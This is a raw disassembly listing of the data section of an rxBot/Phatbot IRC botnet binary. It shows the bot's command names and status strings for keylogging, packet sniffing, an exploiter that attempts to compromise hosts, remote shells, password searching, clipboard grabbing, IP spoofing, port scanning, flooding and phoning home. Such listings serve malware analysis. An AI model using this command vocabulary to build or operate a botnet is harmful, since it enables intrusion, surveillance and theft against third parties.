aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_4308EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_43090C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_430944	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_430978	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_4309A4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_4309CC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_4309FC	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_430A3C	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_430A78	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_430AA8	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_430AD0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_430AFC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_430B38	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_430B74	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_430BA4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:0043D534o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 10h
aO:					; DATA XREF: sub_401ACD+3E7Ao
					; ___:0043D864o
		unicode	0, <o>,0
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:0043D51Co ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:0043D53Co ...
		unicode	0, <n>,0
unk_430C8C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_430CEC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_430D04	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_430D1C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_430D64	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_430D8C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_430D90	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_430D9C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_430DA4	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_430E0C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_430E20	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_430E24	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_430E34	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_430E38	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_430E3C	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_430E9C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_430EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_430F14	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_430F40	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_430F80	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_430FBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_430FE8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_431014	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_431024	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_4310D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_431110	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_431144	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_431184	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_4311B0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_4311EC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_431214	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_431224	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_431230	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_431240	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_431250	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_431284	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_4312D4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_431300	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_431318	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_431354	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_431374	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_431378	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_431390	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_4313C8	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_4313E0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_4313FC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_431418	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_431434	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_431470	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_431494	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_4314B4	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_4314D4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_4314EC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_43150C	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_431534	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_431560	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_43157C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_431594	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_4315C0	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_4315E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_431610	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_43163C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_431660	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_43169C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_4316D8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_431714	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_431750	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_43178C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_4317C0	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_4317E0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_431818	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_431854	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_4318D4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_431950	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401ACD+1BE7o
dword_4319C4	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_431A5C	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 10h
unk_431A90	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_431AC4	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_431AD8	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_431ADC	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_431AE8	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
